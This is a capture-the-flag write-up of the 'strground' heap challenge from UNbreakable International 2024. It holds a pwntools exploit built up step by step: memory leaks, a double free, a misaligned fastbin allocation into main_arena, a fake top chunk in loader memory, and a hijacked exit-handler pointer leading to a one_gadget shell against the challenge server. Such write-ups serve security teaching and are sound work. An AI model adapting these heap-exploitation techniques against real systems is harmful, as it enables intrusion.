UNbreakable International 2024 - strground

Solves: 1 (hard - 500)

A true battle is always held in arena.

Author: Luma

Team: Weak But Leet

Attachment: strground.zip xpl.py

strground was an interesting challenge with some twists. The attachment provided a libc-2.30.so and the binary contained an obvious double free bug with leaks.

So normally this should be super easy, just poisoning tcache and be good to go.

But the libc seemed to be patched to disable tcache, which leads to a rather weird situation: We’ll not be able to use any tcache attacks, but at the same time have to get around the new security restrictions of 2.30 libc, which also makes normal heap attacks harder (top size checks, etc.).

Since there were no other solves to this challenge, I decided to do a writeup on it, though I’d love to see, if there’s an easier solution than this :)

Let’s take a look at the implementation

// Read command
read(0,buf,0x5f);

// Check for CREATE command
result = strncmp(buf,"CREATE ",7);
if (result != 0) break;

if (0xe < idx) {
  puts("Maximum number of strings created.");            
  exit(0);
}

// Check size of string to create (max 0x5f-7)
for (k = 0; (buf[k] != '\n' && (k < 0x5f)); k = k + 1) {
}
k = k + -7;
memcpy(buf,buf + 7,(long)k);

// Allocate chunk for string
str_chunk = (char *)malloc((long)k);

// Put string chunk into string table
str_table[idx] = str_chunk;
memcpy(str_table[idx],buf,(long)k);

// Mark string as used
str_inuse[idx] = str_inuse[idx] + -1;
idx = idx + 1;
puts("Created string.");

The binary reads a command with size 0x5f and then checks, which command we want to execute. For CREATE it will take the rest of the string and calculate the length of a string. The way it does this will restrain the maximum size, we can allocate to 0x5f-7.

This is another constraint, the author seemed to put in to avoid that we do a simple misaligned allocation into __malloc_hook. To be able to do this, we’d need to be able to allocate 0x70 fastbins, which we cannot do because of this. So another simple attack primitive is cancelled out.

// Check for ENCODE command
result = strncmp(buf,"ENCODE ",7);
if (result == 0) {
  strcpy(buf,buf + 7);

  // Get index from command
  result = atoi(buf);
  if (((0xe < result) || (buf[0] < '0')) || ('9' < buf[0])) {
    puts("Not a valid number.");
    exit(0);
  }
  if (str_inuse[result] != 0) {
    puts("Can\'t encode something that doesn\'t exist.");            
    exit(0);
  }
  
  // Copy string into encoding buffer
  str_len = strlen(str_table[result]);
  strncpy(encodebuf,str_table[result],str_len);

  // Add 0x3 to every byte
  for (i = 0; encodebuf[i] != '\0'; i++) {
    encodebuf[i] = encodebuf[i] + '\x03';
  }
  printf("Encoded your string!\n%s\n",encodebuf);
}

The ENCODE command just takes the string buffer and adds 0x3 to every byte and then prints it out. We can use this function to leak data from the stack, we just have to keep in mind to reverse this to get the proper output.

// DELETE command
strcpy(buf,buf + 7);
idx = atoi(buf);
if (((0xe < idx) || (buf[0] < '0')) || ('9' < buf[0])) break;
if (str_inuse[idx] != 0) {
  puts("Can\'t delete something that doesn\'t exist.");            
  exit(0);
}

// Free the chunk (not zeroing it out => UAF)
free(str_table[idx]);
printf("Deleted %d\n",idx);

DELETE just frees the chunk, but doesn’t clear it from the table, by which we get a UAF with which we can easily double free and leak from chunks.

Before getting into the exploitation itself, let’s get some proper leaks. Since the buffer for the input command isn’t initialized, we might get some out of it.

────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffe270  →  0x0000000000000a63 ("c\n"?)
$rbx   : 0x0               
$rcx   : 0x00007ffff7b030c3  →  0x5577fffff0003d48 ("H="?)
$rdx   : 0x5f              
$rsp   : 0x00007fffffffe1a0  →  0x0000000ff7ffe730
$rbp   : 0x00007fffffffe2f0  →  0x0000555555401060  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007fffffffe270  →  0x0000000000000a63 ("c\n"?)
$rdi   : 0x0               
$rip   : 0x0000555555400b9e  →  <main+211> call 0x5555554008f0 <read@plt>
$r8    : 0x0000555555603010  →  0x0000000000000000
$r9    : 0x3               
$r10   : 0xa0              
$r11   : 0x246             
$r12   : 0x0000555555400960  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe3d0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555400b91 <main+198>       mov    edx, 0x5f
   0x555555400b96 <main+203>       mov    rsi, rax
   0x555555400b99 <main+206>       mov    edi, 0x0
 → 0x555555400b9e <main+211>       call   0x5555554008f0 <read@plt>
   ↳  0x5555554008f0 <read@plt+0>     jmp    QWORD PTR [rip+0x2016b2]        # 0x555555601fa8 <read@got.plt>
      0x5555554008f6 <read@plt+6>     push   0x7
      0x5555554008fb <read@plt+11>    jmp    0x555555400870
      0x555555400900 <memcpy@plt+0>   jmp    QWORD PTR [rip+0x2016aa]        # 0x555555601fb0 <memcpy@got.plt>
      0x555555400906 <memcpy@plt+6>   push   0x8
      0x55555540090b <memcpy@plt+11>  jmp    0x555555400870
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe1a0│+0x0000: 0x0000000ff7ffe730	 ← $rsp
0x00007fffffffe1a8│+0x0008: 0x00007fff0000000f
0x00007fffffffe1b0│+0x0010: 0x00007ffff7ffeac0  →  0x00007ffff7ffe9f0  →  0x00007ffff7ffe758  →  0x00007ffff7ffe730  →  0x00007ffff7ffa000  →  0x00010102464c457f
0x00007fffffffe1b8│+0x0018: 0x00007ffff7ddfee0  →  0xb874c08530c48348
0x00007fffffffe1c0│+0x0020: 0x000000000000000f
0x00007fffffffe1c8│+0x0028: 0x0000555555603010  →  0x0000000000000000
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
read@plt (
   $rdi = 0x0000000000000000,
   $rsi = 0x00007fffffffe270 → 0x0000000000000a63 ("c\n"?),
   $rdx = 0x000000000000005f
)
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/30gx $rsi

0x7fffffffe270:	0x0000000000000a63	0x0000000000000000
0x7fffffffe280:	0x0000000000000000	0x0000000000f0b5ff
0x7fffffffe290:	0x00000000000000c2	0x00007fffffffe2ce <= stack address
0x7fffffffe2a0:	0x0000000000000001	0x00007ffff7dd5308 <= libc address
0x7fffffffe2b0:	0x0000000000000001	0x00005555554010ad <= elf address
0x7fffffffe2c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2d0:	0x0000555555401060	0x761d364ceed02b00
0x7fffffffe2e0:	0x00007fffffffe3d0	0x0000000000000000
0x7fffffffe2f0:	0x0000555555401060	0x00007ffff7a3e037

So we have a stack, libc and elf address inside the input buffer, which we can leak by creating aligned commands, so that strncpy will also copy those addresses into our string on the heap. We can then retrieve them via encode.

#!/usr/bin/python
from pwn import *
import sys

HOST = "35.234.88.19"
PORT = 31273
PROCESS = "./chall"


def create(msg):
    r.send("CREATE %s" % msg)
    r.recvline()


def show(idx):
    r.sendline("PRINT %s" % str(idx))
    r.recvuntil(": ")
    LEAK = r.recvline()
    return LEAK


def free(idx):
    r.sendline("DELETE %s" % str(idx))
    r.recvline()


def encode(idx):
    r.sendline("ENCODE %s" % str(idx))
    r.recvline()
    LEAK = r.recvline()[:-1]

    result = ""
    for ch in LEAK:
        result += chr((ord(ch)-3) % 256)

    return result


def exploit(r):
    # create aligned string to leak stack
    create("A"*0x21)          # 0

    STACKLEAK = u64(encode(0)[0x21:0x21+8].ljust(8, "\x00"))

    log.info("STACK leak      : %s" % hex(STACKLEAK))

    free(0)

    # create aligned string to leak libc
    create("A"*0x2b)          # 0 / 1
    LIBCLEAK = u64(encode(1)[0x2a:0x2a+6].ljust(8, "\x00"))-0x41
    libc.address = LIBCLEAK - 0x3b9300

    log.info("LIBC leak       : %s" % hex(LIBCLEAK))
    log.info("LIBC            : %s" % hex(libc.address))

    free(0)

    # create aligned string to leak pie
    create("A"*(0x2b+8))      # 0 / 2
    PIELEAK = u64(encode(2)[0x33:0x33+6].ljust(8, "\x00"))

    log.info("PIE leak        : %s" % hex(PIELEAK))

    r.interactive()

    return


if __name__ == "__main__":
    libc = ELF("./libc.so.6")

    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
    else:
        LOCAL = True
        r = process("./chall")
        print(util.proc.pidof(r))
        pause()

    exploit(r)
[*] STACK leak     : 0x7fffffffe2ce
[*] LIBC leak      : 0x7ffff7dd5300
[*] LIBC           : 0x7ffff7a1c000
[*] PIE leak       : 0x5555554010ad

Getting a heap leak is pretty simple due to the fact that we can do double frees.

create("A"*0x50)          # 3

# free two chunks, to fill a freed fd to leak
free(3)
free(0)

HEAPLEAK = u64(encode(0)[:6].ljust(8, "\x00"))
HEAPBASE = HEAPLEAK-0xe0
log.info("HEAP leak      : %s" % hex(HEAPLEAK))

With this we should have all the leaks we’d possibly need to tackle this.

Like already mentioned, we can only create chunks with a max size of 0x58, so we’ll not be able to create 0x70 fastbins, so misaligned allocation into __malloc_hook won’t work. We also don’t have tcache arena, so all of the usual tcache stuff won’t work also.

At that point, I created some fake unsorted bin chunks on the heap and did backwards consolidation into the string table itself, which then gives us a nice primitive, since we then control the complete string table, but that didn’t seem to help us much, since we then still can only show or delete valid chunks (which was already possible without this).

Since this didn’t really add any value, I went back to the start and checked what else we can do. Then I remembered a little trick uafio and me used in some older challenges, when tcache wasn’t a thing.

Though misaligned allocation into __malloc_hook doesn’t work, since we would need a 0x70 chunk for it, we can create and free 0x50 chunks. Since freeing a fastbin on the heap will put the address into main_arena, we can then do a misaligned allocation with that address.

We have already a freed 0x60 fastbin in main_arena, let’s take a look at it.

gef➤  x/30gx 0x7ffff7dd0b50
0x7ffff7dd0b50:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0b60:	0x0000000000000000	0x0000000000000001
0x7ffff7dd0b70:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0b80:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0b90:	0x0000555555603080	0x0000000000000000 <= 0x60 fastbin
0x7ffff7dd0ba0:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0bb0:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0bc0:	0x0000555555603140	0x0000000000000000 <= top / remainder
0x7ffff7dd0bd0:	0x00007ffff7dd0bc0	0x00007ffff7dd0bc0
0x7ffff7dd0be0:	0x00007ffff7dd0bd0	0x00007ffff7dd0bd0

gef➤  x/30gx 0x7ffff7dd0b80+13
0x7ffff7dd0b8d:	0x5555603080000000	0x0000000000000055 <= misaligned chunk
0x7ffff7dd0b9d:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0bad:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0bbd:	0x5555603140000000	0x0000000000000055
0x7ffff7dd0bcd:	0xfff7dd0bc0000000	0xfff7dd0bc000007f
0x7ffff7dd0bdd:	0xfff7dd0bd000007f	0xfff7dd0bd000007f
0x7ffff7dd0bed:	0xfff7dd0be000007f	0xfff7dd0be000007f

So, this looks almost like a possible target for allocating a 0x50 fastbin into, though a size of 0x55 is not a valid size for a fastbin. But when we’ll re-enable ASLR there’s a 50/50 chance, that the heap address will not start with 0x55, but with 0x56, which IS a valid fastbin size.

This enables us to to do a double free on 0x50 chunks, overwrite the freed FD and allocate into this misaligned chunk, by which we can then overwrite stuff in main_arena itself (like for example the top pointer).

Again, the allocation will fail, if the heap address starts with 0x55 and only with ASLR enabled, there’s a chance that it starts with 0x56.

For having an easier time debugging this, I’ll keep ASLR disabled for now and manually overwrite the chunk size within gdb to simulate a successful ASLR run.

gef➤  set *0x7ffff7dd0b95=0x56

This way, we can keep it easy with breakpoints but have the same behaviour as with ASLR.

# prepare double free
create("A"*(0x50-8)+"\n")   # 4
create("A"*(0x50-8)+"\n")   # 5

# double free string 4
free(4)
free(5)
free(4)

# overwrite freed fd to allocate into main_arena (use misaligned address to create valid size 0x56)
payload = p64(libc.address+0x3b4b8d)
payload += "A"*(0x50-8-len(payload))
payload += "\n"
create(payload)

# allocate two chunks, to get fake FD pointer into fastbin list
create("A"*(0x50-8))
create("A"*(0x50-8))

# set *0x7ffff7dd0b95=0x56
pause()

After this, we should have our fake FD in main arena fastbin list, so the next allocation of a 0x50 chunk would write into main_arena.

gef➤  x/30gx 0x7ffff7dd0b50
0x7ffff7dd0b50:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0b60:	0x0000000000000000	0x0000000000000001
0x7ffff7dd0b70:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0b80:	0x0000000000000000	0x00007ffff7dd0b8d <= 0x50 fastbin
0x7ffff7dd0b90:	0x0000555555603080	0x0000000000000000 <= 0x60 fastbin
0x7ffff7dd0ba0:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0bb0:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0bc0:	0x00005555556031e0	0x0000000000000000
0x7ffff7dd0bd0:	0x00007ffff7dd0bc0	0x00007ffff7dd0bc0
0x7ffff7dd0be0:	0x00007ffff7dd0bd0	0x00007ffff7dd0bd0
gef➤  set *0x7ffff7dd0b95=0x56
gef➤  x/30gx 0x7ffff7dd0b80+13
0x7ffff7dd0b8d:	0x555560308000007f	0x0000000000000056
0x7ffff7dd0b9d:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0bad:	0x0000000000000000	0x0000000000000000
0x7ffff7dd0bbd:	0x55556031e0000000	0x0000000000000055

With everything prepared, we can now overwrite the top pointer with the next allocation, so now we should be game, just putting some address into top, easily putting a ropchain to stack or somewhere else…

But again… We have a 2.30 libc, which has some additional checks for the top chunk, like for example, that it need to have a valid top size (< 0x21000 and more), so we can not just point it anywhere :-/

Finding a good target for a fake top chunk took ages… First I tried to find a good top size on the stack, so that we could put a ropchain into the return of the memcpy function, but after some time I gave that up, since there didn’t seemed to be anything on the stack we could use (or it would have been overwritten after the allocation).

So, I went into debugging the exit function, with which we soon landed in ld land, which was a bit of a pain to debug, since we don’t have an ld with debug symbols at hand. But after a lot of time digging through it with gdb, we’ll land here

────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffe0b8  →  0x00007ffff7ffe730  →  0x00007ffff7ffa000  →  0x00010102464c457f
$rbx   : 0x00007ffff7ffd060  →  0x00007ffff7ffe190  →  0x0000555555400000  →   jg 0x555555400047
$rcx   : 0x0               
$rdx   : 0x2               
$rsp   : 0x00007fffffffe0b0  →  0x00007ffff7ffe190  →  0x0000555555400000  →   jg 0x555555400047
$rbp   : 0x00007fffffffe130  →  0x00007ffff7dd06f8  →  0x00007ffff7dd1c80  →  0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x00007ffff7ffd968  →  0x0000000100000000
$rip   : 0x00007ffff7de5260  →  0x854500218d0215ff
$r8    : 0x0               
$r9    : 0x00007fffffffdff4  →  0x0000000000000001
$r10   : 0x2               
$r11   : 0x246             
$r12   : 0x0               
$r13   : 0x0               
$r14   : 0x00007fffffffe0b0  →  0x00007ffff7ffe190  →  0x0000555555400000  →   jg 0x555555400047
$r15   : 0x4               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7de524f                  mov    ecx, 0x1
   0x7ffff7de5254                  call   0x7ffff7deb730
   0x7ffff7de5259                  lea    rdi, [rip+0x218708]        # 0x7ffff7ffd968
 → 0x7ffff7de5260                  call   QWORD PTR [rip+0x218d02]        # 0x7ffff7ffdf68
   0x7ffff7de5266                  test   r15d, r15d
   0x7ffff7de5269                  je     0x7ffff7de533e
   0x7ffff7de526f                  lea    eax, [r15-0x1]
   0x7ffff7de5273                  lea    rax, [r14+rax*8+0x8]
   0x7ffff7de5278                  mov    QWORD PTR [rbp-0x48], rax
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0b0│+0x0000: 0x00007ffff7ffe190  →  0x0000555555400000  →   jg 0x555555400047	 ← $rsp, $r14
0x00007fffffffe0b8│+0x0008: 0x00007ffff7ffe730  →  0x00007ffff7ffa000  →  0x00010102464c457f	 ← $rax
0x00007fffffffe0c0│+0x0010: 0x00007ffff7ff4000  →  0x00007ffff7a1c000  →  0x03010102464c457f
0x00007fffffffe0c8│+0x0018: 0x00007ffff7ffd9e8  →  0x00007ffff7dd6000  →  0x00010102464c457f
0x00007fffffffe0d0│+0x0020: 0x0000000000000d68 ("h\r"?)
0x00007fffffffe0d8│+0x0028: 0x00007ffff7de518f  →  0x48ca74d28508538b
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x7ffff7ffdf68 (
   $rdi = 0x00007ffff7ffd968 → 0x0000000100000000,
   $rsi = 0x0000000000000000,
   $rdx = 0x0000000000000002,
   $rcx = 0x0000000000000000
)
─────────────────────────────────────────────────────────────────────────────────────────────────────

gef➤  x/30gx 0x7ffff7ffdf68-0x200
0x7ffff7ffdd68:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdd78:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdd88:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdd98:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdda8:	0x0000000000000000	0x0000000000000000
0x7ffff7ffddb8:	0x0000000100000000	0x0000000000000000
0x7ffff7ffddc8:	0x0000000300000000	0x0000000000000000
0x7ffff7ffddd8:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdde8:	0x00007ffff7dd6480	0x0000000000000001
0x7ffff7ffddf8:	0x00007ffff7ff4000	0x00007ffff7a211a8
0x7ffff7ffde08:	0x0000000000000000	0x0000000000000000
0x7ffff7ffde18:	0x0000000000000000	0x0000000000000000
0x7ffff7ffde28:	0x0000000000000000	0x0000000000000000
0x7ffff7ffde38:	0x0000000000000000	0x0000000000000000
0x7ffff7ffde48:	0x00000000002265a0	0x0000000000000a60  <= possible top size??
gef➤  
0x7ffff7ffde58:	0x0000000000000000	0x0000000000000000
0x7ffff7ffde68:	0x0000000000000000	0x0000000000000000
0x7ffff7ffde78:	0x0000000000000000	0x0000000000000000
0x7ffff7ffde88:	0x0000000000000000	0x0000000000000000
0x7ffff7ffde98:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdea8:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdeb8:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdec8:	0x0000000000000000	0x0000000000000000
0x7ffff7ffded8:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdee8:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdef8:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdf08:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdf18:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdf28:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdf38:	0x0000000000000000	0x0000000000000000
gef➤  
0x7ffff7ffdf48:	0x0000000000000000	0x0000000000000000
0x7ffff7ffdf58:	0x0000000000000000	0x00007ffff7dd7200
0x7ffff7ffdf68:	0x00007ffff7dd7210	0x0000000000000000  <= call target

As it turns out, 0xa60 is a good top chunk size. So we can overwrite top with 0x7ffff7ffde48 and then the next allocations will go there, increasing our fake top chunk until we can overwrite the function pointer, that gets called in the ld code.

Let’s try it out

payload = "\x00\x00\x00"
payload += p64(0x0)+p64(0x0)
payload += p64(0x0)+p64(0x0)
payload += p64(libc.address+0x5e1e50-8) + p64(0)
payload += p64(libc.address+0x3b4bc0) + p64(libc.address+0x3b4bc0)
payload += p64(libc.address+0x3b4bd0)[:5]

create(payload)

With this, we’ll have overwritten top to point to our fake top.

payload = "A"*24
payload += p64(0xdeadbee1)
payload += p64(0xdeadbee2)
payload += p64(0xdeadbeef)
payload += p64(0xdeadbeef)

create(payload)
create(payload)
create(payload)
create(payload)

With some additional allocations, which go to our fake top chunk, we should now have overwritten the function pointer, that get’s called from exit handler.

Calling EXIT after this results in

────────────────────────────────────────────────────────────────────────────────────── registers ────

$rax   : 0x00007ffff7ffd060  →  0x00007ffff7ffe190  →  0x0000555555400000  →   jg 0x555555400047
$rbx   : 0x00007ffff7ffd060  →  0x00007ffff7ffe190  →  0x0000555555400000  →   jg 0x555555400047
$rcx   : 0x1               
$rdx   : 0x00007ffff7de5120  →  0x56415741e5894855
$rsp   : 0x00007fffffffe0d8  →  0x00007ffff7de518f  →  0x48ca74d28508538b
$rbp   : 0x00007fffffffe130  →  0x00007ffff7dd06f8  →  0x00007ffff7dd1c80  →  0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x00007ffff7ffd968  →  0x0000000000000000
$rip   : 0xdeadbee1        
$r8    : 0x00007ffff7ffdf48  →  0x4141414141414141 ("AAAAAAAA"?)
$r9    : 0x0               
$r10   : 0x00007fffffffb9b8  →  0x00007ffff7a9662e  →  0x830ff0394cc72949
$r11   : 0x246             
$r12   : 0x0               
$r13   : 0x1               
$r14   : 0x00007ffff7dd5308  →  0x0000000000000000
$r15   : 0x00007ffff7dd1c80  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0d8│+0x0000: 0x00007ffff7de518f  →  0x48ca74d28508538b	 ← $rsp
0x00007fffffffe0e0│+0x0008: 0x0000000000000d68 ("h\r"?)
0x00007fffffffe0e8│+0x0010: 0x00007ffff7dcd420  →  0x0000000000000000
0x00007fffffffe0f0│+0x0018: 0x00007fff00000000
0x00007fffffffe0f8│+0x0020: 0x00007ffff7a9524f  →  0xb70fc48949c08548
0x00007fffffffe100│+0x0028: 0x000000000000000a ("\n"?)
[!] Cannot access memory at address 0xdeadbee1
─────────────────────────────────────────────────────────────────────────────────────────────────────

Finally, rip control… But we have only one shot, and one_gadget constraints of the provided libc all won’t work at this point (r12 and r13 should be 0x0 for it.).

Let’s just put a ret there for now, to see where we’ll be going.

RET = libc.address + 0x00000000000b5b76

payload = "A"*24
payload += p64(RET)
payload += p64(0xdeadbee2)
payload += p64(0xdeadbeef)
payload += p64(0xdeadbeef)

create(payload)
create(payload)
create(payload)
create(payload)
────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffe0b8  →  0x00007ffff7ffe730  →  0x00007ffff7ffa000  →  0x00010102464c457f
$rbx   : 0x00007ffff7ffd060  →  0x00007ffff7ffe190  →  0x0000555555400000  →   jg 0x555555400047
$rcx   : 0x0               
$rdx   : 0x2               
$rsp   : 0x00007fffffffe0a8  →  0x00007ffff7de5266  →  0x0000cf840fff8545
$rbp   : 0x00007fffffffe130  →  0x00007ffff7dd06f8  →  0x00007ffff7dd1c80  →  0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x00007ffff7ffd968  →  0x0000000000000000
$rip   : 0xdeadbee2        
$r8    : 0x0               
$r9    : 0x00007fffffffdff4  →  0x0000000000000001
$r10   : 0x2               
$r11   : 0x246             
$r12   : 0x0               
$r13   : 0x0               
$r14   : 0x00007fffffffe0b0  →  0x00007ffff7ffe190  →  0x0000555555400000  →   jg 0x555555400047
$r15   : 0x4               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0a8│+0x0000: 0x00007ffff7de5266  →  0x0000cf840fff8545	 ← $rsp
0x00007fffffffe0b0│+0x0008: 0x00007ffff7ffe190  →  0x0000555555400000  →   jg 0x555555400047	 ← $r14
0x00007fffffffe0b8│+0x0010: 0x00007ffff7ffe730  →  0x00007ffff7ffa000  →  0x00010102464c457f	 ← $rax
0x00007fffffffe0c0│+0x0018: 0x00007ffff7ff4000  →  0x00007ffff7a1c000  →  0x03010102464c457f
0x00007fffffffe0c8│+0x0020: 0x00007ffff7ffd9e8  →  0x00007ffff7dd6000  →  0x00010102464c457f
0x00007fffffffe0d0│+0x0028: 0x0000000000000d68 ("h\r"?)
[!] Cannot access memory at address 0xdeadbee2
─────────────────────────────────────────────────────────────────────────────────────────────────────

So, we hit our next 0xdeadbee2, but this time r12 and r13 are 0x0, which fulfills the constraints for the one_gadget, so let’s just put it there to finally end this :)

RET = libc.address + 0x00000000000b5b76

payload = "A"*24
payload += p64(RET)
payload += p64(libc.address+0xc4dbf)  # one_gadget
payload += p64(0xdeadbeef)
payload += p64(0xdeadbeef)

create(payload)
create(payload)
create(payload)
create(payload)
$ python2 work.py
[*] '/media/sf_ctf/unbreak/strground/source/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './chall': pid 3615
[3615]
[*] Paused (press any to continue)
[*] STACK leak     : 0x7fffffffe2ce
[*] LIBC leak      : 0x7ffff7dd5300
[*] LIBC           : 0x7ffff7a1c000
[*] PIE leak       : 0x5555554010ad
[*] HEAP leak      : 0x5555556030e0
[*] __malloc_hook  : 0x7ffff7dd0b50
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ EXIT
Exiting...
$ id
uid=1000(kileak) gid=1000(kileak)

Like already mentioned, for the exploit to work with ASLR, we might need to run it multiple times to get a heap address, that starts with 0x56.

But after some runs against the remote challenge server, we should come to something like this

[*] '/media/sf_ctf/unbreak/strground/source/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 35.234.88.19 on port 31273: Done
[*] STACK leak     : 0x7ffc4857e31e
[*] LIBC leak      : 0x7f55807a5300
[*] LIBC           : 0x7f55803ec000
[*] PIE leak       : 0x564a534010ad
[*] HEAP leak      : 0x564a53e4d0e0
[*] __malloc_hook  : 0x7f55807a0b50
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ ls
chall
flag.txt
ld-2.30.so
ld.so.2
libc-2.30.so
libc.so.6
strground.c
$ cat flag.txt
CTF{e4ab66d73bdc695ee3910c5b9ac133081434d1bbb92a26217871ea546d78218b}

That was an interesting challenge, having to deal with 2.30 heap hardening restrictions, without having access to tcache (avoiding all the usual cookie cutter solutions).